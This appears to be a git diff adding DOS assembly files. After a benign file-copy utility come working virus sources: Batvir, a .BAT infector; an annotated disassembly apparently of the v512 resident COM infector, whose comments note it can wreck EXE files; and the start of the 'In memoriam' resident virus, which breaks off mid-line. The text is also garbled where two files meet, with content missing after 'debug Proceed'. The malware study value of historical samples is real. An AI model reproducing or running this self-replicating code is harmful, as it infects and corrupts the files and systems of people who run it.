cs:BAC, ds:BAC, es:BAC, ss:NOTHING + org 100h ; .COM format +BEGIN: + jmp CODE_START ; Jump around data declarations +DECLARE: ; Messages, Storage Areas, Equates + COPYRIGHT db 'BACopy (C) 1985, Dickinson Associates Inc.' + db 13,10,'$' + PATH_FILE_LEN equ 77 ;Length = 1, Path = 63, FileName = 12, 0 = 1 + SOURCE_FILE db PATH_FILE_LEN dup (0) + TARGET_PATH db PATH_FILE_LEN dup (0) + SOURCE_END dw 0 + TARGET_END dw 0 + SOURCE_HANDLE dw 0 + TARGET_HANDLE dw 0 + SOURCE_DTA db 44 dup(0) + TARGET_DTA db 44 dup(0) + VALID_IN db 'abcdefghijklmnopqrstuvwxyz,;=',9 + VALID_OUT db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',4 dup(32) + VALID_NUM equ $ - VALID_OUT + 1 + BLKSIZE dw 0 + LAST_BLOCK db 0 + EVENT_FLAG db 0 + ERR_HEAD db 10,13,'BACopy Error - $' + NO_PARMS db 'Correct Syntax is:',13,10,10 + db 'BACopy [d:][source_path]source_filename[.ext] [d:][target_path]$' + FILE_NOT_FOUND db 'File Not Found$' + SOURCE_ERROR db 'Opening Source File$' + CREATE_ERROR db 'Creating Target File$' + TARGET_FULL db '!!',10,10,13,'Target Disk is Full',13,10,10 + db 'Insert New Disk and Press [Enter]',7,'$' + ERR_TAIL db 10,10,13,' . . . Aborting',10,13,13,'$' + CONFIRM_MSG_1 db ' . . $' + CONFIRM_MSG_2 db 'BACopied to . . $' + END_LINE db 10,13,'$' + NOTHING_TO_DO db 13,10,'No Files Needed to be BACopied',13,10,'$' +; +CODE_START: ; Parse command line into source & target parameters + mov dx,offset COPYRIGHT ; Display copyright notice + mov ah,9h + int 21h + mov si,80h ; PSP parameter byte count pointer + mov cl,[si] ; Move byte count to CL + xor ch,ch ; Zero CH + jcxz NO_PARMS_PASSED ; If CX is zero, there are no parameters + mov dx,cx ; Save byte count in dx + inc si ; Point to parameter area + mov di,si ; Copy SI to DI for cleanup routine + cld ; Set direction flag to forward +CLEAN_PARMS: ; Change valid delimiters to blanks, lower to upper case + lodsb ; Load each character to AL + push di ; Save DI on stack + mov di,offset VALID_IN ; Point to table of valid inputs + push cx ; Save CX on stack + mov cx,VALID_NUM ; Set CX to number of inputs to look for +repne scasb ; See if any are in AL + jcxz CLEAN_END ; If not, change nothing + mov bx,VALID_NUM ; Set up BX to point to valid output + sub bx,cx ; This will leave BX one off + mov al,VALID_OUT [bx - 1] ; Load the valid output to AL +CLEAN_END: + pop cx ; Restore CX + pop di ; Restore DI + stosb ; Store modified AL back to PSP +loop CLEAN_PARMS ; Loop until CX is zero +; + mov cx,dx ; Restore number of bytes in PSP to CX + mov dx,2 ; Set DX to look for up to 2 parameters + mov bx,offset SOURCE_FILE ; Set BX to address of 1st parameter + mov al,' ' ; Set up to scan for first non-blank + mov di,81h ; Set DI to PC-DOS parameter pointer +FIND_PARMS: ; Start looking for parameters, load to program storage +repe scasb ; Scan while blanks + mov si,di ; Set SI to second non-blank byte + dec si ; Adjust it to first non-blank byte + inc cx ; Adjust CX to compensate + jcxz PARMS_LOADED ; If CX is zero, no parameters left + mov di,bx ; Set DI to parameter hold area + mov ax,cx ; Store CX to first byte of hold area + stosb ; DI is adjusted to second byte here +STORE: lodsb ; Load each byte to AL + cmp al,' ' ; Is it a blank? + jz END_STORE ; Yes, end of this parameter + stosb ; No, store the byte to hold area +END_STORE: + loopnz STORE ; Keep looking + sub [bx],cx ; Store number of bytes in each + jcxz PARMS_LOADED ; If CX is zero, no more parameters + dec byte ptr [bx] ; parameter to first byte of hold area + mov di,si ; Set up to scan for next non-blank + dec di ; Adjust DI to point to the blank + inc cx ; Adjust CX to compensate + dec dx ; Decrement DX counter + cmp dx,0 ; Is DX zero? + jz PARMS_LOADED ; Yes, all expected parameters loaded + add bx,PATH_FILE_LEN ; No, point to next part of hold area + jmp FIND_PARMS ; Go back and look for more +PARMS_LOADED: ; All parameters are loaded + cmp SOURCE_FILE[0],0 ; If there are no bytes in the + ja FIX_UP ; SOURCE_FILE, no parameters present +NO_PARMS_PASSED: ; Exit with an error if there + mov dx,offset NO_PARMS ; are no parameters passed + jmp ERROR_EXIT +FIX_UP: ; Fix SOURCE_FILE and TARGET_PATH + mov si,offset SOURCE_FILE ; For Search calls + lodsb ; Get Number of bytes + xor ah,ah ; Zero high byte of AX + mov di,si ; Move SI to DI for scan + add di,ax ; Start scan at end of parameter + dec di ; Adjust DI + mov cx,ax ; Set CX to number of bytes + mov al,'\' ; Scan for the last '\' + std ; Set direction flag to reverse +repnz scasb ; Scan while not '\' + jnz NO_SOURCE_DIR ; If Zero Flag not set, '\' not found + add di,2 ; Add 2 to DI to point to file name + jmp SOURCE_FIXED ; position +NO_SOURCE_DIR: ; No source directory was specified + add di,1 ; Adjust DI + cmp SOURCE_FILE[2],':' ; Check for specified disk drive + jne SOURCE_FIXED ; None present, we're done + mov di,offset SOURCE_FILE[3]; Yes, set DI to point to first byte +SOURCE_FIXED: ; after ':' + mov SOURCE_END,di ; Move DI to SOURCE_END pointer +; + cld ; Set direction flag to forward + mov si,offset TARGET_PATH ; Set up to look for '\' present + lodsb ; Get number of bytes + cmp al,0 ; If it's zero, no target specified + je NO_TARGET + xor ah,ah ; Zero high byte of AX + add si,ax ; Add it to SI to point to end + dec si ; Decrement SI to adjust + lodsb ; Look at last byte + mov di,si ; Copy SI to DI + cmp al,'\' ; Is last byte a '\'? + je TARGET_FIXED ; Yes, everything's fine + cmp TARGET_PATH[0],2 ; If TARGET_PATH is 2 bytes long and + jne STORE_SLASH ; is a disk drive specification, + cmp TARGET_PATH[2],':' ; let it default to the current + je TARGET_FIXED ; directory. +STORE_SLASH: ; Place a '\' at the end of + mov al,'\' ; TARGET_PATH if user did + stosb ; not +TARGET_FIXED: + mov TARGET_END,di ; Move DI to TARGET_END pointer + jmp BUFFER_SIZE +NO_TARGET: ; Set up to allow target path default + mov TARGET_END,offset TARGET_PATH + 1 ; to current path +BUFFER_SIZE: ; Compute size of file buffer + mov ax,0fdffh ; Leave plenty of room in segment + mov dx,offset FILE_BUFFER ; for stack & set DX to end of code + sub ax,dx ; Subtract + mov BLKSIZE,ax ; Save result in BLKSIZE +FIND_FILE: ; Find first source file + xor ax,ax ; Request to use SOURCE_DTA + mov ah,1ah ; to house FCB for SOURCE_FILE + mov dx,offset SOURCE_DTA + int 21h ; Call PC-DOS + mov dx,offset SOURCE_FILE + 1 ; DX points to SOURCE_FILE + mov ah,4eh ; Request function 4EH (find 1st file) + mov cx,0 ; Set CX to zero for normal files only + int 21h ; Call PC-DOS + jnc FOUND_FILE ; If no error, first file found + mov dx,offset FILE_NOT_FOUND; If no files found, exit + jmp ERROR_EXIT ; program with error message +FOUND_FILE: + mov LAST_BLOCK,0 ; Initalize last block read flag + mov si,offset SOURCE_DTA+30 ; SI points to source file name in DTA + mov di,SOURCE_END ; DI points to end of source path + push si ; Save pointer to source file name + mov cx,13 ; DTA will have 13 bytes +rep movsb ; Move name bytes to SOURCE_FILE + mov di,TARGET_END ; DI points to end of target path + pop si ; Recover pointer to source file name + mov cx,13 ; DTA will have 13 bytes +rep movsb ; Move file name bytes to TARGET_PATH +FIND_TARGET: ; Find matching target file + mov ah,1ah ; Request to use TARGET_DTA + xor al,al ; to house FCB for TARGET_PATH + mov dx,offset TARGET_DTA + int 21h ; Call PC-DOS + mov ah,4eh ; Request find 1st file for target + mov dx,offset TARGET_PATH+1 + mov cx,0 ; Set CX to zero for normal files only + int 21h ; Call PC-DOS + jc OPEN_SOURCE ; If not found, bypass date & time check +CHECK_TIME_DATE: ; Check time & date stamps in DTAs + mov si,offset SOURCE_DTA+24 ; Load source file date stamp to AX + lodsw + mov dx,ax ; Save in DX + mov si,offset TARGET_DTA+24 ; Load target file date stamp to AX + lodsw + cmp dx,ax ; If Source file newer, jump + ja OPEN_SOURCE ; to OPEN_SOURCE + jne DONT_COPY ; If Source file older, don't copy it + mov si,offset SOURCE_DTA+22 ; Otherwise, + lodsw ; load source time stamp to AX + mov dx,ax ; Save in DX + mov si,offset TARGET_DTA+22 ; Load target time stamp to AX + lodsw + cmp dx,ax ; If Source file newer, jump + ja OPEN_SOURCE ; to OPEN_SOURCE + jmp DONT_COPY +DONT_COPY: ; Otherwise, + call CLOSE_ALL ; Close all files + jmp NEXT_FILE ; Check for next file +OPEN_SOURCE: + mov ah,3dh ; Request Open Source File + mov dx,offset SOURCE_FILE+1 ; DX points to source file path name + mov al,0 ; with read permission only + int 21h ; Call PC-DOS + mov SOURCE_HANDLE,ax ; Save handle in memory + jnc CREATE_TARGET ; If no carry, open was good + mov dx,offset SOURCE_ERROR ; Otherwise, exit with error + mov SOURCE_HANDLE,0 ; Make sure CLOSE_ALL ignores handle + jmp ERROR_EXIT +CREATE_TARGET: + xor ax,ax + mov ah,3ch ; Request create & open a file + mov dx,offset TARGET_PATH+1 ; named the target file + xor cx,cx ; with normal attribute + int 21h ; Call PC-DOS + mov TARGET_HANDLE,ax ; Save target handle + jnc PROCEED_TO_COPY ; If no carry, create / open is ok + mov dx,offset CREATE_ERROR ; Otherwise, exit with an error + mov TARGET_HANDLE,0 ; Make sure CLOSE_ALL ignores target + jmp ERROR_EXIT +PROCEED_TO_COPY: ; The heart of the matter + mov si,offset SOURCE_FILE+1 ; Point to source file +START1: lodsb ; Load each byte to AL + cmp al,0 ; If ASCII 0, end of field + je DOTS + mov dl,al ; Copy byte to DL for funciton 2H + mov ah,2h ; Request function 2H + int 21h ; Call PC-DOS + jmp START1 ; Get next character +DOTS: mov ah,9h ; Confirm start of task + mov dx,offset CONFIRM_MSG_1 + int 21h +KEEP_COPYING: + mov ah,3fh ; Request read block of data + mov cx,BLKSIZE ; BLKSIZE bytes long + mov bx,SOURCE_HANDLE ; from source file + mov dx,offset FILE_BUFFER ; into buffer + int 21h ; Call PC-DOS + cmp ax,0 ; If AX is 0, no bytes were + je FINISH ; read, and we're done + mov cx,ax ; Move AX to CX for write call (below) + cmp cx,BLKSIZE ; Check number of bytes read against + je MORE_TO_COME ; request. If equal, we got them all, + mov LAST_BLOCK,1 ; otherwise, it's the last block of file +MORE_TO_COME: ; + push cx ; Save requested write count on stack + mov ah,40h ; Request write block of data + mov bx,TARGET_HANDLE ; to target file + mov dx,offset FILE_BUFFER ; from file buffer + int 21h ; Call PC-DOS + pop cx ; Recover requested write count + cmp ax,cx ; If CX equals AX, + je WRITE_OK ; write was successful, +DISK_FULL: + call CLOSE_ALL ; Otherwise disk is full -- close files + mov ah,41h ; Request erase file + mov dx,offset TARGET_PATH+1 ; for incomplete target. + int 21h ; Call PC-DOS + mov dx,offset TARGET_FULL + mov ah,9h + int 21h +READ_KEYBOARD: ; Prompt requested [Enter] key + mov ah,8h ; Make sure [Ctrl]-[Break] is detected + int 21h ; Call PC-DOS for key + cmp al,13 ; Check for [Enter] + jne READ_KEYBOARD ; (no extended codes are 13) + mov cx,2 +END_FULL: + mov dx,offset END_LINE ; Send a new line to screen + mov ah,9h + int 21h + loop END_FULL + jmp FOUND_FILE ; Re-start from FOUND_FILE: +WRITE_OK: + cmp LAST_BLOCK,1 ; If this is the last block, + je FINISH ; we're done + jmp KEEP_COPYING ; Otherwise, keep going. +FINISH: ; Force target time & date stamps + mov ah,57h ; to equal source, close files + mov al,0 ; Request get time and date stamos + mov bx,SOURCE_HANDLE ; for source file + int 21h ; DX & CX contain data + mov ah,57h ; Request set date and time + mov al,1 ; to force target file to + mov bx,TARGET_HANDLE ; source stamp + int 21h ; Call PC-DOS + call CLOSE_ALL ; Go close all files + mov dx,offset CONFIRM_MSG_2 ; Confirm completion of task + mov ah,9h ; Request function 9H + int 21h ; Call PC-DOS + mov si,offset TARGET_PATH+1 ; Point to source file +START2: lodsb ; Load each byte to AL + cmp al,0 ; If ASCII 0, end of field + je CR_LF + mov dl,al ; Copy byte to DL for funciton 2H + mov ah,2h ; Request function 2H + int 21h ; Call PC-DOS + jmp START2 ; Get next character +CR_LF: mov dx,offset END_LINE ; Terminate display line + mov ah,9h ; Request function 9H + int 21h + mov EVENT_FLAG,1 ; Set flag to indicate file was copied +NEXT_FILE: ; Go Look for next file + xor ax,ax + mov ah,1ah ; Request to use SOURCE_DTA + mov dx,offset SOURCE_DTA ; to house FCB for SOURCE_FILE + int 21h ; Call PC-DOS + mov ah,4fh ; Request find next source file + mov cx,0 ; Normal files only + int 21h ; Call PC-DOS + jnc FOUND_ANOTHER ; No error, another file was found + jmp END_OK ; Error, we're done finding files +FOUND_ANOTHER: + jmp FOUND_FILE ; Go process next file +END_OK: cmp EVENT_FLAG,1 ; Did anything happen? + je EXIT ; Yes, just exit + mov dx,offset NOTHING_TO_DO ; No, tell user that nothing happened + mov ah,9h + int 21h +EXIT: int 20h ; Exit to PC-DOS +ERROR_EXIT: ; Print Error Message and Exit + push dx ; Save error message pointer on stack + mov ah,9 ; Display error header + mov dx,offset ERR_HEAD + int 21h + mov ah,9 ; Display error message + pop dx + int 21h + mov ah,9 ; Display error tail + mov dx,offset ERR_TAIL + call CLOSE_ALL + int 21h + int 20h ; Exit to PC-DOS + + +CLOSE_ALL proc + cmp SOURCE_HANDLE,0 ; Check for valid SOURCE_HANDLE + je CLOSE_TARGET ; None, then go close target + mov ah,3eh ; Request close file + mov bx,SOURCE_HANDLE ; for source handle + int 21h ; Call PC-DOS + mov SOURCE_HANDLE,0 ; Refresh handle +CLOSE_TARGET: + cmp TARGET_HANDLE,0 ; Check for valid TARGET_HANDLE + je CLOSE_RETURN ; None, then return + mov bx,TARGET_HANDLE ; Request close file + mov ah,3eh ; for target handle + int 21h ; Call PC-DOS + mov TARGET_HANDLE,0 ; Refresh handle +CLOSE_RETURN: + ret +CLOSE_ALL endp +FILE_BUFFER label word +BAC ends + end BEGIN + \ No newline at end of file diff --git a/b/Batvir.asm b/b/Batvir.asm new file mode 100755 index 0000000..4c20145 --- /dev/null +++ b/b/Batvir.asm @@ -0,0 +1,237 @@ +; [BATVIR] '94 (c) 1994 Stormbringer [Phalcon/Skism] +; +; This virus is a bit cheesy, but hell.... Believe it or not, I got bored +;enough to write a direct action .BAT infector in assembly. It infects files +;by basically creating a debug script of itself, echoing it out to a file, +;then running it using debug to infect more files. I doubt anyone has +;done this in quite this manner, so.... +; +; +; +;enjoy, +;Stormbringer [P/S] + + +.model tiny +.radix 16 +.code + org 100 +start: + mov ah,4e + mov dx,offset filemask + +FindFile: + int 21 + jc NoMoreFiles + + mov dx,9e + mov ax,3d02 + int 21 + jc DoneInfect + xchg bx,ax + + mov ax,5700 + int 21 + push cx dx + + cmp dh,80 + jae AlreadyInfected + + + mov ax,4202 + xor cx,cx + xor dx,dx + int 21 + + mov si,100 + mov di,offset end_virus + mov cx,end_virus-start + push bx + call Convert2Hex + pop bx + + call InfectBat + + + pop dx + add dh,0c8 ;Add 100 years to filedate + push dx + +AlreadyInfected: + pop dx cx + mov ax,5701 + int 21 + + mov ah,3e + int 21 + +DoneInfect: + mov ah,4f + jmp FindFile + +NoMoreFiles: + mov ax,4c00 + int 21 + + +Convert2Hex: + push cx + lodsb + mov bx,ax + mov cx,4 + shr al,cl + push ax + call convert2asc + stosb + pop ax + shl al,cl + sub bl,al + xchg al,bl + call convert2asc + stosb + mov ax,' ' + stosb + pop cx + loop Convert2hex + stosb + stosb + ret + +convert2asc: + cmp al,0a + jae letter + add al,'0' + ret +letter: + add al,'A'-0a + ret + +InfectBat: + mov ah,40 + mov dx,offset startinf + mov cx,endsinf-startinf ;Write start of infection + int 21 + mov dx,offset end_virus + + DataLoop: + push dx + call calcloc + call writeecho1 + pop dx + push dx + + mov cx,di + sub cx,dx + cmp cx,60d + jb WriteData + mov cx,60d +WriteData: + mov ah,40 + int 21 + + push ax + call WriteRedirect + pop ax + + pop dx + add dx,ax + cmp dx,di + jae WriteGoExitCommands + jmp DataLoop + + +WriteGoExitCommands: + call writeecho2 + + mov ah,40 + mov dx,offset govirus + mov cx,1 + int 21 + + call WriteRedirect + call writeecho2 + + mov ah,40 + mov dx,offset govirus+1 + mov cx,1 + int 21 + + call WriteRedirect + + mov dx,offset batchender + mov cx,endbatend-batchender + mov ah,40 + int 21 + + ret + +WriteRedirect: + mov dx,offset echodest + mov cx,endvirusfile-echodest + mov ah,40 + int 21 + ret + +WriteEcho1: + mov cx,enddb-databyte + jmp short WriteEcho +WriteEcho2: + mov cx,5 +WriteEcho: + mov dx,offset databyte + mov ah,40 + int 21 + ret + + +calcloc: + push ax bx cx dx si di + sub dx,offset end_virus + mov ax,dx + mov cx,3 + xor dx,dx + div cx + mov dx,ax + add dx,100 + mov di,offset temp + mov si,offset location + xchg dh,dl + mov location,dx + mov cx,2 + call Convert2Hex + mov di,offset buffer1 + mov si,offset temp + movsw + lodsb + movsw + pop di si dx cx bx ax + ret + + +Filemask db '*.bat',0 + +govirus db 'gq' +endgovirus: + +databyte db 'echo e' +buffer1 db '0100 ' +enddb: + +echodest db ' >>' +VirusFile db 'batvir.94',0dh,0a +EndVirusFile: + +Batchender db 'debug Proceed + mov si,10A5h ; Load offset of original int13 + cmp al,10 ; Check for 3.10 + je newdos ; If so -> proceed + mov si,1EC9h ; Load offset of original int13 for other DOS's + newdos: mov ds,cx ; This may cause trouble, because CX + ; is NOT allways set to ZERO + mov di,0F8h ; ES:DI will point to PSP:00F8 - unused area + movsw ; Save oroginal int13 vector + movsw ; to unused area in PSP + mov si,84h ; DS:SI point to 0000:0084 - int21 vector + movsw ; Save current int21 vector + movsw ; to unused area in PSP + lds ax,dword ptr [si-4] ; Load DS:AX with current address of int21 + push es ; Save ES + push di ; Save DI + mov si,8 ; DS:SI point in current int21 handler; + mov ch,1 ; CX=100h - As I said CX is not allways set to 0 + repz cmpsw ; Check if virus v512 hold the int21 vector + push cs ; + pop ds ; Set DS to PSP + jz SkipInstall ; If virus is active -> SkipInstall + + mov ah,52h + int 21h ; Get DOS table of table address + push es ; Save segment of table + mov si,00F8h ; DS:SI point virus WITH data area in PSP + sub di,di ; This will be offset in DOS buffer + les ax,dword ptr es:[bx+12h] ; Load address of first + ; DOS buffer from table of tables + ; This is the reason why virus + ; will NOT work on DOS 4.X+ + + mov dx,es:[di+02] ; Load in DX segment of next DOS buffer + mov cx,0104h ; CX set to virus size (208h bytes) + repz movsw ; Move itself in DOS buffer + mov ds,cx ; Now CX is 0 so DS also become 0 + mov di,0016h ; This will be used for finding parent PSP + mov word ptr [di+06Eh],offset int21+8 ; Set new int21 offset + mov [di+70h],es ; Set new int21 segment + + pop ds ; Restore segment of table in DS + mov [bx+14h],dx ; Set pointer to first buffer point NEXT buffer in chain + + mov dx,cs ; DX is current PSP segment + mov ds,dx ; DS also + mov bx,[di-14h] ; Load LAST segment available + dec bh ; LastSegment-=0x0100 + mov es,bx ; ES point in transit COMMAND.COM area + cmp dx,[di] ; Compare current PSP with COMMAND's parent PSP + mov ds,[di] ; Load in DS segment of parent of COMMAND + mov dx,[di] ; Load in DX parent of parent of COMMAND + dec dx ; Decrement loaded segment + mov ds,dx ; Set DS to rezult + mov si,cx ; DS:SI point to XXXX:0000 -> Name of boot command + mov dx,di ; Save DI in DX + mov cl,28h ; Will move 80 bytes + repz movsw ; Do moving + mov ds,bx ; Set DS to transit COMMAND.COM segment + + jb RunProcess ; If current process is less than parent + ; then COMMAND strat in progress -> read original bytes + + int 20h ; Else stop. File will run from decond start + ; If this instruction will be replaced by + ; PUSH CS; POP DS file will run from first time + +SkipInstall: mov si,cx ; Set SI to 0 + mov ds,[si+02Ch] ; Load in DS segment of envirement +SearchAgain: lodsw ; Load word from envirement + dec si ; Decrement envirement pointer + test ax,ax ; Test for zero in AX + jnz SearchAgain ; If not zero -> SearchAgain + add si,3 ; Else SI+=3; Now DS:SI point to filename in env + mov dx,si ; DS:DX point to filename for open +RunProcess: mov ah,03Dh ; AH = 3D - Open file; Don't care about open mode + call CallDosGet ; Call int21 & get handle table address in DS:DI + mov dx,[di] ; Load file size in DX + mov [di+04],dx ; Set file pointer to end of file + add [di],cx ; Increase file size with 512 bytes + pop dx ; Restore file entry point (100h) to DX + ; This used for reading original bytes + ; of file at normal place + push dx ; Save entry point again + push cs ; Set ES point to virus segment + pop es ; + push cs ; Set DS point to virus segment + pop ds ; + push ds ; Save PSP segment + mov al,50h ; Push 50h. On stack is far address PSP:0050 + ; This are INT 21; RETF instructions + push ax ; Update returning address + mov ah,03Fh ; Set AH=3F - read file + retf ; Far return; Read original file + ; and return control to it +CallDosGet: int 21h ; Open file; Open procedure will go trough virus + jc ErrorOpen ; If error occur -> Skip open + mov bx,ax ; Move file pointer in BX + ; This could be XCHG AX,BX; that save 1 byte + +GetHandleAddr: push bx ; Save file handle in stack + mov ax,1220h ; Get handle's table number + int 02Fh ; Via int 2F (undocumented) + mov bl,es:[di] ; Load table number in BL + mov ax,1216h ; Get handle table ADDRESS (ES:DI) + int 02Fh ; Via int 2F (undocumented) + pop bx ; Restore file handle from stack + push es ; Set DS to point table's segment + pop ds ; + add di,11h ; DI will point file's size entry intable + mov cx,0200h ; CX set to virus size +ErrorOpen: ret +ReadClean: sti ; Disable external interrupts request + push es ; Save important registers to stack + push si + push di + push bp + push ds ; Data buffer segment + push cx ; Bytes to read + call GetHandleAddr ; Get file handle's table address in DS:DI + mov bp,cx ; Save virus size in BP + mov si,[di+04] ; Save in SI current file pointer + pop cx ; Restore bytes to be readed in CX + pop ds ; Restore buffer segment + call ReadOriginal ; Open file with original int21 + jc SkipClean ; If error while read -> skip cleaning + cmp si,bp ; Check if file pointer was in virus + jnb SkipClean ; If no -> nothing to clean + push ax ; Save readed bytes + mov al,es:[di-04] ; Load AL with file time + not al ; + and al,01Fh ; Mask seconds of file time + jnz SkipCleanPop ; If time is NOT 31 sec -> nothing to do + add si,es:[di] ; Add to current pointer file size + ; Now SI point to requested offset, + ; BUT in original file bytes + + xchg si,es:[di+04] ; Set new file pointer and save old file pointer + add es:[di],bp ; Increase file size with virus size + call ReadOriginal ; Open file via original int21 + mov es:[di+04],si ; Restor file pointer + lahf ; ??? I don't know. If you do let me know + sub es:[di],bp ; Decrease file size with virus size + sahf ; ??? I don't know. If you do let me know +SkipCleanPop: pop ax ; Restore readed bytes + +SkipClean: pop bp ; Restore saved imortant register + pop di + pop si + pop es + db 0CAh, 2, 0 ; RETF 2 + +ReadOriginal: mov ah,03Fh +CallDOS: pushf + push cs + call JumpDOS + ret +; Following few bytes are int21 handler. They check if file is open close or +; executed and clean or infect file with virus. Here there is serious problem - +; from time to time virus infect file which is NOT COM file (EXE file will be +; destroyed, by the way). +; More about this later in comments + + +int21: cmp ah,03Fh ; If function is Read file + jz ReadClean ; then go and read original bytes + + push ds ; Save important registers + push es + push ax + push bx + push cx + push dx + push si + push di + cmp ah,03Eh ; If function is Close file + jz CloseInfect ; then Close and Infect + cmp ax,04B00h ; If execute file + mov ah,03Dh ; then open file before execute + ; After opening file will be closed + ; and .... Infected + jz Infect ; +TerminateInt: pop di ; Restore important registers + pop si + pop dx + pop cx + pop bx + pop ax + pop es + pop ds +JumpDOS: jmp dword ptr cs:[0004] ; Jump to original int21 + +CloseInfect: mov ah,45h +Infect: call CallDosGet ; Duplicate file handler + jc TerminateInt ; If error -> terminate + sub ax,ax ; Set AX to 0 + mov [di+04],ax ; Set file pointer to 0 + mov byte ptr [di-0Fh],02 ; Set file open mode to Read/Write + cld + mov ds,ax ; Set DS point to interrupt table + mov si,004Ch ; SI point to int13 offset + lodsw ; Load int13 offset + push ax ; and save it in stack + lodsw ; Load int13 segment + push ax ; and save it in stack + push [si+40h] ; Save int24 offset + push [si+42h] ; Save int24 segment + lds dx,dword ptr cs:[si-50h] ; Load DS:DX with BIOS int13 + mov ax,2513h ; and set it via DOS function SetVector + int 21h ; + push cs ; Set DS point to virus segment + pop ds ; + mov dx,offset int24+8 ; Load in DX offset of int24 handler + mov al,24h ; Set int24 vector + int 21h ; via DOS function SetVector + push es ; Set DS point to handle table segment + pop ds ; + mov al,[di-04] ; Load AL with file time + +; As I said in some case virus will infect non-COM file. This may happend +; if file you work with has time set to 62 seconds. In this case virus infect +; file without checking filename. This WILL damage EXE file. DOS will treat +; this files as COM files, but usualy their size is bigger than 64K, so DOS +; cannot run it. If file is less than 64K then virus run and read original +; bytes. Usualy he DO read them, then skip control to these bytes. In EXE +; files this is EXEheader, so execution FAIL (your system CRASH) + + + and al,01Fh ; Mask seconds + cmp al,01Fh ; Check if seconds == 31 (62sec) + jz NoNameCheck ; If so -> infect with no name check + mov ax,[di+17h] ; Load AX with first 2 letters of file extension + sub ax,04F43h ; If file is NOT *.CO? + jnz SkipInfect ; SkipInfect + +NoNameCheck: xor [di-04],al ; Set file seconds to 31 (62sec) + mov ax,[di] ; Set AX to file size + cmp ax,cx ; Check file size and virus size + jb SkipInfect ; If file is less than 512 bytes -> Don't infect + add ax,cx ; Increase file size with virus size + jc SkipInfect ; If file is bigger than (65535-512) -> no infect + test byte ptr [di-0Dh],04 ; Check file attribute + jnz SkipInfect ; If SYSTEM file -> don't infect it + lds si,dword ptr [di-0Ah] ; Load DS:SI with device header + dec ax ; AX (file size with virus) -- + shr ah,1 ; AX/=2 + and ah,[si+04] ; Check if enough place in cluster behind file + jz SkipInfect ; If no place -> terminate infection + mov ax,0020h ; DS = 20 (Second part of int table) + mov ds,ax ; + sub dx,dx ; DS:DX point to virus transfer buffer + call ReadOriginal ; Open file with original int21 + mov si,dx ; Save virus buffer offset in SI + push cx ; Save virus size +LoopCheck: lodsb + cmp al,cs:[si+07] ; Compare readed data with virus code + jnz WriteFile ; If at least ONE byte different -> fuck file + loop LoopCheck ; Check all virus code with buffer + pop cx ; Restore virus size +SetFileTime: or byte ptr es:[di-04],01Fh ; Set file time to 62sec +NoUpdateTime: or byte ptr es:[di-0Bh],40h ; Set flag in device info word + + ; In case of file this is flag area. Setting bit 14 + ; as virus does, mean for DOS "Don't set file date/time when close" + ; DOS always rewrite Date/Time field of table. If bit 14 is clear (0) + ; then DOS will set current time to file. Virus should avoid this, or + ; DOS will overwrite seconds field and they (seconds) will be normal + +SkipInfect: mov ah,03Eh ; Close file + call CallDOS ; via original int21 + or byte ptr es:[di-0Ch],40h ; Set flag... See above + pop ds ; Restore original int24 + pop dx + mov ax,2524h ; via SetVector + int 21h + pop ds ; Restore original int13 + pop dx + mov al,13h ; via SetVector + int 21h + jmp TerminateInt ; All done, jump to DOS + +WriteFile: pop cx ; Restore virus size to CX + mov si,es:[di] ; Save current file size in SI + mov es:[di+04],si ; Move file pointer at the end of file + mov ah,40h ; Write to file its first 512 bytes at the end + int 21h + jc NoUpdateTime ; If error occur file time will be normal + mov es:[di],si ; Set file size to be as before (file size + ; will remain unchanged) + mov es:[di+04],dx ; Set file pointer to beginning of file + push cs ; Set DS:DX point to virus + pop ds ; + mov dl,08 ; Skip first 8 bytes of virus, because they + ; are a buffer for int handlers adresses + mov ah,40h ; Write virus at the beginning of file + int 21h ; + jmp SetFileTime ; File now OK infected, so his time must be + ; set to 62 sec + int24: iret ; int 24 handler. Avoid "Write protected error..." + db '666' ; Virus signature + \ No newline at end of file diff --git a/b/Bird.a86 b/b/Bird.a86 new file mode 100755 index 0000000..15cf81f --- /dev/null +++ b/b/Bird.a86 @@ -0,0 +1,295 @@ +; +; In memoriam Virus by John Tardy / Trident +; + + Org 0h + +Main: Push Ax + call Get_Ofs +Get_Ofs: pop Bp + sub Bp,Get_Ofs + Mov Ax,0DEADh + Int 21h + Cmp Ax,0AAAAh + Je Installed + + mov ax,3521h + int 21h + mov word ptr cs:old21[bp],bx + mov word ptr cs:old21[bp][2],es + + mov ax,cs ;adjust memory-size + dec ax + mov ds,ax + cmp byte ptr ds:[0000],'Z' + jne installed + mov ax,word ptr ds:[0003] + sub ax,ParLen + jb installed + mov word ptr ds:[0003],ax + sub word ptr ds:[0012h],ParLen + lea si,main[bp] + mov di,0 + mov es,ds:[12h] + mov ds,cs + mov cx,virlen + cld + rep movsb + mov ax,2521h + mov ds,es + mov dx,offset new21 + int 21h +Installed: Mov Di,100h + Lea Si,Org_Prg[Bp] + Push Cs + Push Cs + Pop Ds + Pop Es + Cld + Movsw + Movsb + Mov Bx,100h + Pop Ax + Push Bx + Ret + +Old21 dd 0 + +New21: cmp ax,0deadh + jne chkfunc + mov ax,0aaaah + iret +chkfunc: + cmp ah,11h + je findFCBst + cmp ah,12h + je findfcbst + cmp ah,4eh + je findst + cmp ah,4fh + je findst + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + cmp ah,3dh + je infectHan + cmp ax,4b00h + je infectHan + cmp ah,41h + je infectHan + cmp ah,43h + je infectHan + cmp ah,56h + je infectHan + cmp ah,0fh + je infectFCB + cmp ah,23h + je infectFCB + jmp endint + +findfcbst: jmp findfcb +findst: jmp find + +InfectFCB: mov si,dx + inc si + push cs + pop es + lea di,fnam + mov cx,8 + rep movsb + mov cx,3 + inc di + rep movsb + lea dx,fnam + push cs + pop ds + +InfectHan: mov si,dx + mov cx,100h + cld +findpnt: lodsb + cmp al,'.' + je chkcom + loop findpnt + jmp endi +chkcom: lodsw + or ax,2020h + cmp ax,'oc' + jne endi + lodsb + or al,20h + cmp al,'m' + jne endi + jmp doit +endi: jmp endint +doit: push dx + push ds + mov ax,4300h + pushf + call dword ptr cs:[old21] + mov cs:fatr,cx + mov ax,4301h + xor cx,cx + pushf + call dword ptr cs:[old21] + mov ax,3d02h + pushf + call dword ptr cs:[old21] + jnc getdate + jmp error +getdate: xchg ax,bx + mov ax,5700h + pushf + call dword ptr cs:[old21] + mov cs:fdat,cx + mov cs:fdat[2],dx + and cx,1fh + cmp cx,1fh + jne chkexe + jmp done +chkexe: mov ah,3fh + push cs + pop ds + lea 